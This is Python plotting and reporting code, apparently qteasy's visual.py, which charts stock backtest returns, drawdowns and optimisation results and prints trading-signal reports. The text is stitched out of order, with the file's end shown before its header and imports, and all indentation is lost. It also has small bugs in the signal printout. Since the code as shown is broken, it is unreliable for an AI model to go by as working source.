# 填充参考收益率的正负区间，绿色填充正收益率，红色填充负收益率
ax1.fill_between(looped_values.index, 0, ref_rate,
where=ref_rate >= 0,
facecolor=(0.4, 0.6, 0.2), alpha=0.35)
ax1.fill_between(looped_values.index, 0, ref_rate,
where=ref_rate < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
# 显示持股仓位区间（效果是在回测区间上用绿色带表示多头仓位，红色表示空头仓位，颜色越深仓位越高）
# 查找每次买进和卖出的时间点并将他们存储在一个列表中，用于标记买卖时机
if config.show_positions:
position_bounds = [looped_values.index[0]]
position_bounds.extend(looped_values.loc[change != 0].index)
position_bounds.append(looped_values.index[-1])
for first, second, long_short in zip(position_bounds[:-2], position_bounds[1:],
position.loc[position_bounds[:-2]]):
# 分别使用绿色、红色填充交易回测历史中的多头和空头区间
if long_short > 0:
# 用不同深浅的绿色填充多头区间, 0 < long_short < 1
if long_short > 1:
long_short = 1
ax1.axvspan(first, second,
facecolor=((1 - 0.6 * long_short), (1 - 0.4 * long_short), (1 - 0.8 * long_short)),
alpha=0.2)
else:
# 用不同深浅的红色填充空头区间, -1 < long_short < 0
if long_short < -1:
long_short = -1
ax1.axvspan(first, second,
facecolor=((1 + 0.2 * long_short), (1 + 0.8 * long_short), (1 + long_short)),
alpha=0.2)
# 显示买卖时机的另一种方法，使用buy / sell 来存储买卖点
# buy_point是当持股数量增加时为买点，sell_points是当持股数量下降时
# 在买卖点当天写入的数据是参考数值，这是为了使用散点图画出买卖点的位置
# 绘制买卖点散点图(效果是在ref线上使用红绿箭头标识买卖点)
if config.buy_sell_points:
buy_points = np.where(change > 0, ref_rate, np.nan)
sell_points = np.where(change < 0, ref_rate, np.nan)
ax1.scatter(looped_values.index, buy_points, color='green',
label='Buy', marker='^', alpha=0.9)
ax1.scatter(looped_values.index, sell_points, color='red',
label='Sell', marker='v', alpha=0.9)
# 使用箭头标记最大回撤区间，箭头从最高起点开始，指向最低点，第二个箭头从最低点开始，指向恢复点
ax1.annotate(f"{loop_results["peak_date"].date()}",
xy=(loop_results["valley_date"], return_rate[loop_results["valley_date"]]),
xycoords='data',
xytext=(loop_results["peak_date"], return_rate[loop_results["peak_date"]]),
textcoords='data',
arrowprops=dict(width=1, headwidth=3, facecolor='black', shrink=0.),
ha='right',
va='bottom')
if pd.notna(loop_results["recover_date"]):
ax1.annotate(f"-{loop_results["mdd"]:.1%}\n{loop_results["valley_date"].date()}",
xy=(loop_results["recover_date"], return_rate[loop_results["recover_date"]]),
xycoords='data',
xytext=(loop_results["valley_date"], return_rate[loop_results["valley_date"]]),
textcoords='data',
arrowprops=dict(width=1, headwidth=3, facecolor='black', shrink=0.),
ha='right',
va='top')
else:
ax1.text(x=loop_results["valley_date"],
y=return_rate[loop_results["valley_date"]],
s=f"-{loop_results["mdd"]:.1%}\nnot recovered",
ha='right',
va='top')
ax1.legend()
# 绘制参考数据的收益率曲线图
ax2.set_title('benchmark and cumulative value in Logarithm scale')
ax2.plot(looped_values.index, adjusted_bench_start, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='Benchmark')
# 绘制回测结果的收益率曲线图
ax2.plot(looped_values.index, looped_values.value, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='Cum Value')
ax2.set_ylabel('Cumulative Value\n in logarithm scale')
ax2.yaxis.set_major_formatter(mtick.PercentFormatter())
ax2.set_yscale('log')
ax2.legend()
ax3.set_title('Rolling beta and alpha')
ax3.plot(looped_values.index, beta, label='beta')
ax3.plot(looped_values.index, alpha, label='alpha')
ax3.set_ylabel('rolling\nbeta/alpha')
ax3.legend()
ax4.set_title('returns')
ax4.bar(looped_values.index, ret)
ax4.set_ylabel('return')
ax5.set_title('Rolling volatility and sharp')
ax5.plot(looped_values.index, volatility, label='volatility')
ax5.plot(looped_values.index, sharp, label='sharp')
ax5.set_ylabel('Volatility\nsharp')
ax5.legend()
# 绘制underwater图（drawdown可视化图表）
ax6.set_title('underwater plot and 5 worst drawdowns')
ax6.plot(underwater, label='underwater')
ax6.set_ylabel('underwater')
ax6.set_xlabel('date')
ax6.set_ylim(-1, 0)
ax6.fill_between(looped_values.index, 0, underwater,
where=underwater < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
dd_starts = drawdowns['peak_date'].values
dd_ends = drawdowns['recover_date'].values
dd_valley = drawdowns['valley_date'].values
dd_value = drawdowns['drawdown'].values
for start, end, valley, dd in zip(dd_starts, dd_ends, dd_valley, dd_value):
if np.isnan(end):
end = looped_values.index[-1]
ax6.axvspan(start, end,
facecolor='grey',
alpha=0.3)
if dd > -0.6:
ax6.text(x=valley,
y=dd - 0.05,
s=f"-{dd:.1%}\n",
ha='center',
va='top')
else:
ax6.text(x=valley,
y=dd + 0.15,
s=f"-{dd:.1%}\n",
ha='center',
va='bottom')
# 绘制收益率热力图
monthly_return_df = loop_results['return_df'][['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']]
return_years = monthly_return_df.index
return_months = monthly_return_df.columns
return_values = monthly_return_df.values
c = ax7.imshow(return_values, cmap='RdYlGn')
ax7.set_title('monthly returns')
ax7.set_xticks(np.arange(len(return_months)))
ax7.set_yticks(np.arange(len(return_years)))
ax7.set_xticklabels(return_months, rotation=45)
ax7.set_yticklabels(return_years)
base_aspect_ratio = 0.72
if len(return_years) <= 12:
aspect_ratio = base_aspect_ratio
else:
aspect_ratio = base_aspect_ratio * 12 / len(return_years)
ax7.set_aspect(aspect_ratio)
ax7.grid(False)
fig.colorbar(c, ax=ax7)
# 绘制年度收益率柱状图
y_cum = loop_results['return_df']['y-cum']
y_count = len(return_years)
pos_y_cum = np.where(y_cum >= 0, y_cum, 0)
neg_y_cum = np.where(y_cum < 0, y_cum, 0)
return_years = y_cum.index
ax8.barh(np.arange(y_count), pos_y_cum, 1, align='center', facecolor='green', alpha=0.85)
ax8.barh(np.arange(y_count), neg_y_cum, 1, align='center', facecolor='red', alpha=0.85)
ax8.set_yticks(np.arange(y_count))
ax8.set_ylim(y_count - 0.5, -0.5)
ax8.set_yticklabels(list(return_years))
ax8.set_title('Yearly returns')
ax8.grid(False)
# 绘制月度收益率Histo直方图
ax9.set_title('monthly returns histo')
ax9.hist(monthly_return_df.values.flatten(), bins=18, alpha=0.5,
label='monthly returns')
ax9.grid(False)
# 设置所有图表的基本格式:
for ax in [ax1, ax2, ax3, ax4, ax5, ax6]:
ax.yaxis.tick_right()
ax.xaxis.set_ticklabels([])
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.spines['bottom'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.grid(True)
# 调整主图表的日期格式
# major tick on year if span > 3 years, else on month
if loop_results['years'] > 4:
major_locator = years
major_formatter = years_fmt
minor_locator = months
minor_formatter = month_fmt_none
elif loop_results['years'] > 2:
major_locator = years
major_formatter = years_fmt
minor_locator = months
minor_formatter = month_fmt_s
else:
major_locator = months
major_formatter = month_fmt_l
minor_locator = weekdays
minor_formatter = month_fmt_none
# 前五个主表的时间轴共享，因此只需要设置最下方表的时间轴即可
ax6.xaxis.set_major_locator(major_locator)
ax6.xaxis.set_major_formatter(major_formatter)
ax6.xaxis.set_minor_locator(minor_locator)
ax6.xaxis.set_minor_formatter(minor_formatter)
# 隐藏除ax6以外的其他ax的ticklabel, 因为ax1到ax6共享xaxis，因此不能用：
# ax1.xaxis.set_ticklabels([])
for ax in [ax1, ax2, ax3, ax4, ax5]:
plt.setp(ax.get_xticklabels(), visible=False)
plt.show()
# TODO: like _print_test_result, take the evaluate results on both opti and test hist data
# TODO: and commit comparison base on these two data sets
def _plot_test_result(opti_eval_res: list,
test_eval_res: list = None,
config=None):
""" plot test result of optimization results
:param test_eval_res:
:type test_eval_res: list
:param opti_eval_res:
:type opti_eval_res: list
:param config:
:return:
"""
# 以下评价指标是可以用来比较优化数据集和测试数据集的表现的，只有以下几个评价指标可以使用子图表显示
plot_compariables = ['annual_rtn',
'mdd',
'volatility',
'beta',
'sharp',
'alpha',
'info']
if test_eval_res is None:
test_eval_res = []
# 从opti和test评价结果列表中取出完整的回测曲线
result_count = len(test_eval_res)
valid_opti_eval_res = [item for item in opti_eval_res if not item['complete_values'].empty]
valid_test_eval_res = [item for item in test_eval_res if not item['complete_values'].empty]
opti_complete_value_results = [result['complete_values'] for result in valid_opti_eval_res]
test_complete_value_results = [result['complete_values'] for result in valid_test_eval_res]
first_opti_looped_values = opti_complete_value_results[0]
first_test_looped_values = test_complete_value_results[0]
opti_reference = first_opti_looped_values.reference
test_reference = first_test_looped_values.reference
complete_reference = opti_reference.reindex(opti_reference.index.union(test_reference.index))
complete_reference.loc[np.isnan(complete_reference)] = test_reference
# matplotlib 所需固定操作
register_matplotlib_converters()
CHART_WIDTH = 0.9
# 计算在生成的评价指标清单中，有多少个可以进行优化-测试对比的评价指标，根据评价指标的数量生成多少个子图表
compariable_indicators = [i for i in valid_opti_eval_res[0].keys() if i in plot_compariables]
compariable_indicator_count = len(compariable_indicators)
# 显示投资回报评价信息
fig, ax1 = plt.subplots(1, 1, figsize=(12, 8), facecolor=(0.82, 0.83, 0.85))
fig.suptitle(f'Optimization Test Results - {result_count} sets of strategy parameters', fontsize=14, fontweight=10)
# 投资回测结果的评价指标全部被打印在图表上，所有的指标按照表格形式打印
# 为了实现表格效果，指标的标签和值分成两列打印，每一列的打印位置相同
fig.text(0.07, 0.91, f'opti periods: {valid_opti_eval_res[0]['years']:.1f} years, '
f'from: {valid_opti_eval_res[0]['loop_start'].date()} to '
f'{valid_opti_eval_res[0]['loop_end'].date()} '
f'time consumed:'
f' signal creation: {time_str_format(valid_opti_eval_res[0]['op_run_time'])};'
f' back test:{time_str_format(valid_opti_eval_res[0]['loop_run_time'])}\n'
f'test periods: {valid_test_eval_res[0]['years']:.1f} years, '
f'from: {valid_test_eval_res[0]['loop_start'].date()} to '
f'{valid_test_eval_res[0]['loop_end'].date()} '
f'time consumed:'
f' signal creation: {time_str_format(valid_test_eval_res[0]['op_run_time'])};'
f' back test:{time_str_format(valid_test_eval_res[0]['loop_run_time'])}')
# 确定参考数据在起始日的数据，以便计算参考数据在整个历史区间内的原因
ref_start_value = complete_reference.iloc[0]
reference = (complete_reference - ref_start_value) / ref_start_value * 100
compariable_plots = []
# 根据数据对比表的数量不同，生成不同数量的并安排对比表的位置和排列方式
if compariable_indicator_count == 0:
# 没有子图表时，历史曲线图占据整个图幅
ax1.set_position([0.05, 0.05, CHART_WIDTH, 0.8])
else:
# 有子图表时，历史曲线图占据大约一半的图幅，其余对比图放置在历史曲线图的下方
ax1.set_position([0.05, 0.51, CHART_WIDTH, 0.39])
if compariable_indicator_count == 1:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
elif compariable_indicator_count == 2:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
compariable_plots.append(fig.add_axes([0.550, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
elif compariable_indicator_count == 3:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
compariable_plots.append(fig.add_axes([0.365, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
compariable_plots.append(fig.add_axes([0.680, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
elif compariable_indicator_count == 4: # 4 plots in one row
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.285, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.521, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.757, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
elif compariable_indicator_count == 5: # two rows, 3 and 2 plots each row respectively
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.365, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.680, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.365, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
elif compariable_indicator_count == 6:
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.368, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.686, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.368, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.686, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
elif compariable_indicator_count == 7:
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.285, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.521, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.757, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.285, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.521, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
# 绘制历史回测曲线图，包括参考数据、优化数据以及回测数据
ax1.plot(complete_reference.index, reference, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='reference')
# 填充参考收益率的正负区间，绿色填充正收益率，红色填充负收益率
ax1.fill_between(complete_reference.index, 0, reference,
where=reference >= 0,
facecolor=(0.4, 0.6, 0.2), alpha=0.35)
ax1.fill_between(complete_reference.index, 0, reference,
where=reference < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
# 逐个绘制所有的opti区间和test区间收益率曲线
for cres in opti_complete_value_results:
if not cres.empty:
start_value = cres.value.iloc[0]
values = (cres.value - start_value) / start_value * 100
ax1.plot(first_opti_looped_values.index, values, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='return')
for cres in test_complete_value_results:
if not cres.empty:
start_value = cres.value.iloc[0]
values = (cres.value - start_value) / start_value * 100
ax1.plot(first_test_looped_values.index, values, linestyle='-',
color=(0.2, 0.6, 0.2), alpha=0.85, label='return')
# 设置历史曲线图表的绘制格式
ax1.set_ylabel('Total return rate')
ax1.grid(True)
ax1.yaxis.set_major_formatter(mtick.PercentFormatter())
ax1.yaxis.tick_right()
ax1.spines['top'].set_visible(False)
ax1.spines['right'].set_visible(False)
ax1.spines['bottom'].set_visible(False)
ax1.spines['left'].set_visible(False)
# 生成两个DataFrame，分别包含需要显示的对比数据，便于计算它们的统计值并绘制图表
opti_indicator_df = pd.DataFrame([{key: result[key]
for key in compariable_indicators}
for result in valid_opti_eval_res],
index=[result['par'] for result in valid_opti_eval_res])
test_indicator_df = pd.DataFrame([{key: result[key]
for key in compariable_indicators}
for result in valid_test_eval_res],
index=[result['par'] for result in valid_test_eval_res])
# 开始使用循环的方式逐个生成对比图表
if compariable_indicator_count > 0:
for ax, name in zip(compariable_plots, compariable_indicators):
# 设置每一个对比图表的基本显示格式
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.spines['bottom'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.set_ylabel(f'{name}')
ax.yaxis.tick_right()
# 根据config中设置的参数，选择生成三种不同类型的图表之一
p_type = config.indicator_plot_type
# 在图表中应该舍去np.inf值，暂时将inf作为na值处理，因此可以使用dropna()去除inf值
with pd.option_context('mode.use_inf_as_na', True):
opti_label = f'opti:{opti_indicator_df[name].mean():.2f}±{opti_indicator_df[name].std():.2f}'
test_label = f'test:{test_indicator_df[name].mean():.2f}±{test_indicator_df[name].std():.2f}'
if p_type == 0 or p_type == 'errorbar':
max_v = opti_indicator_df[name].max()
min_v = opti_indicator_df[name].min()
mean = opti_indicator_df[name].mean()
std = opti_indicator_df[name].std()
ax.errorbar(1, mean, std, fmt='ok', lw=3)
ax.errorbar(1, mean, np.array(mean - min_v, max_v - mean).T, fmt='.k', ecolor='red', lw=1,
label=opti_label)
max_v = test_indicator_df[name].max()
min_v = test_indicator_df[name].min()
mean = test_indicator_df[name].mean()
std = test_indicator_df[name].std()
ax.errorbar(2, mean, std, fmt='ok', lw=3)
ax.errorbar(2, mean, np.array(mean - min_v, max_v - mean).T, fmt='.k', ecolor='green', lw=1,
label=test_label)
ax.set_xlim(0, 3)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
elif p_type == 1 or p_type == 'scatter':
ax.scatter(opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan),
label=name, marker='^', alpha=0.9)
ax.set_title(opti_label)
ax.set_ylabel(test_label)
ax.legend()
elif p_type == 2 or p_type == 'histo':
ax.hist(opti_indicator_df[name].fillna(np.nan), bins=15, alpha=0.5,
label=opti_label)
ax.hist(test_indicator_df[name].fillna(np.nan), bins=15, alpha=0.5,
label=test_label)
ax.legend()
elif p_type == 3 or p_type == 'violin':
data_df = pd.DataFrame(np.array([opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan)]).T,
columns=[opti_label, test_label])
ax.violinplot(data_df)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
else:
data_df = pd.DataFrame(np.array([opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan)]).T,
columns=[opti_label, test_label])
ax.boxplot(data_df)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
plt.show()
def _print_operation_signal(op_list, run_time_prepare_data=0, operator=None, history_data=None):
"""打印实时信号生成模式的运行结果
"""
op_dates = op_list.hdates
h_dates = history_data.hdates
signal_type = operator.signal_type
print(f'\n'
f' ====================================\n'
f' | |\n'
f' | OPERATION SIGNALS |\n'
f' | |\n'
f' ====================================\n')
print(f'Operation list is created based on following strategy:\n{operator.strategies}\n'
f'{operator.info()}')
print(f'Operation list is created on history data: \n'
f'starts: {h_dates[0]}\n'
f'end: {h_dates[-1]}')
print(f'time consumption for operate signal creation: {time_str_format(run_time_prepare_data)}\n')
print(f'Operation signals are generated on {op_dates[0]}\nends on {op_dates[-1]}\n'
f'Total signals generated: {len(op_dates)}.')
print(f'Operation signal for shares on {op_dates[-1].date()}\n')
print(f'---------Current Operation Instructions------------\n'
f' signal type: {operator.signal_type}\n'
f'signals: \n{op_list}\n'
f'Today\'s operation signal as following:\n')
for share in op_list.shares:
print(f'------share {share}-----------:')
signal = op_list[:, share, op_list.hdates[-1]]
for price_type in range(op_list.htype_count):
# 根据信号类型解析信号含义
current_signal = signal[price_type].squeeze()[-1]
if signal_type == 'pt': # 当信号类型为"PT"时，信号代表目标持仓仓位
print(f'Hold {current_signal * 100}% of total investment value!')
if signal_type == 'ps': # 当信号类型为"PS"时，信号代表资产买入卖出比例
if signal[price_type] > 0:
print(f'Buy in with {current_signal * 100}% of total investment value!')
elif signal[price_type] < 0:
print(f'Sell out {-signal * 100}% of current on holding stock!')
if signal_type == 'vs': # 当信号类型为"PT"时，信号代表资产买入卖出数量
if signal[price_type] > 0:
print(f'Buy in with {current_signal} shares of total investment value!')
elif signal[price_type] < 0:
print(f'Sell out {-signal} shares of current on holding stock!')
print(f'\n ===========END OF REPORT=============\n')
def _print_loop_result(loop_results=None, columns=None, headers=None, formatter=None):
""" 格式化打印输出单次回测的结果，根据columns、headers、formatter等参数选择性输出result中的结果
确保输出的格式美观一致
:param loop_results:
:param columns:
:param headers:
:param formatter:
:return:
"""
if loop_results is None:
return
looped_values = loop_results['complete_values']
print(f'\n'
f' ====================================\n'
f' | |\n'
f' | BACK TESTING RESULT |\n'
f' | |\n'
f' ====================================')
print(f'\nqteasy running mode: 1 - History back testing\n'
f'time consumption for operate signal creation: {time_str_format(loop_results['op_run_time'])}\n'
f'time consumption for operation back looping: {time_str_format(loop_results['loop_run_time'])}\n')
print(f'investment starts on {looped_values.index[0]}\n'
f'ends on {looped_values.index[-1]}\n'
f'Total looped periods: {loop_results['years']:.1f} years.')
print(f'\n-------------operation summary:------------'
f'\n')
op_summary = loop_results['oper_count']
print(op_summary.to_string(columns=["sell",
"buy",
"total",
"long",
"short",
"empty"],
header=["Sell Cnt",
"Buy Cnt",
"Total",
"Long pct",
"Short pct",
"Empty pct"],
formatters={'sell': '{:.0f}'.format,
'buy': '{:.0f}'.format,
'total': '{:.0f}'.format,
'long': '{:.1%}'.format,
'short': '{:.1%}'.format,
'empty': '{:.1%}'.format},
justify='center'), '\n')
print(f'Total operation fee: ¥{loop_results['total_fee']:12,.2f}')
print(f'total investment amount: ¥{loop_results['total_invest']:12,.2f}\n'
f'final value: ¥{loop_results['final_value']:12,.2f}')
print(f'Total return: {loop_results['rtn']:13.2%} \n'
f'Avg Yearly return: {loop_results['annual_rtn']:13.2%}\n'
f'Skewness: {loop_results['skew']:13.2f}\n'
f'Kurtosis: {loop_results['kurtosis']:13.2f}')
print(f'Benchmark return: {loop_results['ref_rtn']:13.2%} \n'
f'Benchmark Yearly return: {loop_results['ref_annual_rtn']:13.2%}')
print(f'\n------strategy loop_results indicators------ \n'
f'alpha: {loop_results['alpha']:13.3f}\n'
f'Beta: {loop_results['beta']:13.3f}\n'
f'Sharp ratio: {loop_results['sharp']:13.3f}\n'
f'Info ratio: {loop_results['info']:13.3f}\n'
f'250 day volatility: {loop_results['volatility']:13.3f}\n'
f'Max drawdown: {loop_results['mdd']:13.2%} \n'
f' peak / valley: {loop_results['peak_date'].date()} / {loop_results['valley_date'].date()}')
if not pd.isna(loop_results['recover_date']):
print(f' recovered on: {loop_results['recover_date'].date()}\n')
else:
print(f' recovered on: Not recovered!\n')
print(f'\n===========END OF REPORT=============\n')
# TODO: like _plot_test_result, take the evaluate results on both opti and test hist data
# TODO: and commit comparison base on these two data sets
def _print_test_result(result, config=None, columns=None, headers=None, formatter=None):
""" 以表格形式格式化输出批量数据结果，输出结果的格式和内容由columns，headers，formatter等参数控制，
输入的数据包括多组同样结构的数据，输出时可以选择以统计结果的形式输出或者以表格形式输出，也可以同时
以统计结果和表格的形式输出
:param result:
:param columns:
:param headers:
:param formatter:
:return:
"""
result = pd.DataFrame(result)
first_res = result.iloc[0]
ref_rtn, ref_annual_rtn = first_res['ref_rtn'], first_res['ref_annual_rtn']
print(f'\n'
f'==================================== \n'
f'| |\n'
f'| OPTIMIZATION RESULT |\n'
f'| |\n'
f'====================================')
print(f'\nqteasy running mode: 2 - Strategy Parameter Optimization\n')
print(f'investment starts on {first_res['loop_start']}\nends on {first_res['loop_end']}\n'
f'Total looped periods: {result.years[0]:.1f} years.')
print(f'total investment amount: ¥{result.total_invest[0]:13,.2f}')
print(f'Reference index type is {config.reference_asset} at {config.ref_asset_type}\n'
f'Total reference return: {ref_rtn :.2%} \n'
f'Average Yearly reference return rate: {ref_annual_rtn:.2%}')
print(f'statistical analysis of optimal strategy messages indicators: \n'
f'total return: {result.rtn.mean():.2%} ±'
f' {result.rtn.std():.2%}\n'
f'annual return: {result.annual_rtn.mean():.2%} ±'
f' {result.annual_rtn.std():.2%}\n'
f'alpha: {result.alpha.mean():.3f} ± {result.alpha.std():.3f}\n'
f'Beta: {result.beta.mean():.3f} ± {result.beta.std():.3f}\n'
f'Sharp ratio: {result.sharp.mean():.3f} ± {result.sharp.std():.3f}\n'
f'Info ratio: {result['info'].mean():.3f} ± {result['info'].std():.3f}\n'
f'250 day volatility: {result.volatility.mean():.3f} ± {result.volatility.std():.3f}\n'
f'other messages indicators are listed in below table\n')
# result.sort_values(by='final_value', ascending=False, inplace=True)
print(result.to_string(columns=["par",
"sell_count",
"buy_count",
"total_fee",
"final_value",
"rtn",
"ref_rtn",
"mdd"],
header=["Strategy items",
"Sell-outs",
"Buy-ins",
"Total fee",
"Final value",
"ROI",
"Reference return",
"MDD"],
formatters={'total_fee': '{:,.2f}'.format,
'final_value': '{:,.2f}'.format,
'rtn': '{:.1%}'.format,
'mdd': '{:.1%}'.format,
'ref_rtn': '{:.1%}'.format,
'sell_count': '{:.1f}'.format,
'buy_count': '{:.1f}'.format},
justify='center'))
print(f'\n===========END OF REPORT=============\n') | # coding=utf-8
# -*- coding: utf-8 -*-
# visual.py
# =====================================4
# This file contains components for the qt
# to establish visual outputs of price data
# loop result and strategy optimization
# results as well
# ======================================
import mplfinance as mpf
from mplfinance.original_flavor import candlestick2_ohlc
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import matplotlib.ticker as mtick
from matplotlib.ticker import StrMethodFormatter
import pandas as pd
import numpy as np
from .history import get_history_panel
from .tsfuncs import stock_basic, fund_basic, future_basic, index_basic
from .utilfuncs import time_str_format, list_to_str_format
from .tafuncs import macd, dema, rsi, bbands, ma
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()
ValidAddPlots = ['macd',
'dma',
'trix']
title_font = {'fontname': 'pingfang HK',
'size': '16',
'color': 'black',
'weight': 'bold',
'va': 'bottom',
'ha': 'center'}
large_red_font = {'fontname': 'Arial',
'size': '24',
'color': 'red',
'weight': 'bold',
'va': 'bottom'}
large_green_font = {'fontname': 'Arial',
'size': '24',
'color': 'green',
'weight': 'bold',
'va': 'bottom'}
small_red_font = {'fontname': 'Arial',
'size': '12',
'color': 'red',
'weight': 'bold',
'va': 'bottom'}
small_green_font = {'fontname': 'Arial',
'size': '12',
'color': 'green',
'weight': 'bold',
'va': 'bottom'}
normal_label_font = {'fontname': 'pingfang HK',
'size': '12',
'color': 'black',
'weight': 'normal',
'va': 'bottom',
'ha': 'right'}
normal_font = {'fontname': 'Arial',
'size': '12',
'color': 'black',
'weight': 'normal',
'va': 'bottom',
'ha': 'left'}
# 动态交互式蜡烛图类
class InterCandle:
def __init__(self, data, stock_name, style, idx_start=0, idx_range=100):
self.pressed = False
self.xpress = None
# 初始化交互式K线图对象，历史数据作为唯一的参数用于初始化对象
self.data = data
self.style = style
self.stock_name = stock_name
# 设置初始化的K线图显示区间起点为0，即显示第0到第99个交易日的数据（前100个数据）
self.idx_start = idx_start
self.idx_range = idx_range
# 设置ax1图表中显示的均线类型
self.avg_type = 'ma'
self.indicator = 'macd'
self.cur_xlim = None
# 初始化figure对象，在figure上建立三个Axes对象并分别设置好它们的位置和基本属性
self.fig = mpf.figure(style=style, figsize=(12, 8), facecolor=(0.82, 0.83, 0.85))
fig = self.fig
self.ax1 = fig.add_axes([0.08, 0.25, 0.88, 0.60])
self.ax1.set_xbound(0, 100)
# self.ax1.set_xticklabels(data.index)
self.ax2 = fig.add_axes([0.08, 0.15, 0.88, 0.10], sharex=self.ax1)
self.ax2.set_ylabel('volume')
self.ax3 = fig.add_axes([0.08, 0.05, 0.88, 0.10], sharex=self.ax1)
self.ax3.set_ylabel('macd')
# 初始化figure对象，在figure上预先放置文本并设置格式，文本内容根据需要显示的数据实时更新
self.t1 = fig.text(0.50, 0.94, f'{self.stock_name}', **title_font)
self.t2 = fig.text(0.12, 0.90, '开/收: ', **normal_label_font)
self.t3 = fig.text(0.14, 0.89, f'', **large_red_font)
self.t4 = fig.text(0.14, 0.86, f'', **small_red_font)
self.t5 = fig.text(0.22, 0.86, f'', **small_red_font)
self.t6 = fig.text(0.12, 0.86, f'', **normal_label_font)
self.t7 = fig.text(0.40, 0.90, '高: ', **normal_label_font)
self.t8 = fig.text(0.40, 0.90, f'', **small_red_font)
self.t9 = fig.text(0.40, 0.86, '低: ', **normal_label_font)
self.t10 = fig.text(0.40, 0.86, f'', **small_green_font)
self.t11 = fig.text(0.55, 0.90, '量(万手): ', **normal_label_font)
self.t12 = fig.text(0.55, 0.90, f'', **normal_font)
self.t13 = fig.text(0.55, 0.86, '额(亿元): ', **normal_label_font)
self.t14 = fig.text(0.55, 0.86, f'', **normal_font)
self.t15 = fig.text(0.70, 0.90, '涨停: ', **normal_label_font)
self.t16 = fig.text(0.70, 0.90, f'', **small_red_font)
self.t17 = fig.text(0.70, 0.86, '跌停: ', **normal_label_font)
self.t18 = fig.text(0.70, 0.86, f'', **small_green_font)
self.t19 = fig.text(0.85, 0.90, '均价: ', **normal_label_font)
self.t20 = fig.text(0.85, 0.90, f'', **normal_font)
self.t21 = fig.text(0.85, 0.86, '昨收: ', **normal_label_font)
self.t22 = fig.text(0.85, 0.86, f'', **normal_font)
plot_data = self.data
data_len = len(plot_data)
# 绘制图表:
# 绘制K线图
self.lines, self.polys = candlestick2_ohlc(self.ax1,
plot_data.open,
plot_data.high,
plot_data.low,
plot_data.close, width=0.6, colorup='r', colordown='g')
# 区分红色和绿色K线，分别绘制红色和绿色的交易量柱子
volume_up = np.where(plot_data.open > plot_data.close, plot_data.volume, 0)
volume_down = np.where(plot_data.open <= plot_data.close, plot_data.volume, 0)
self.vup = self.ax2.bar(np.arange(data_len),
volume_up, width=0.8, color='r')
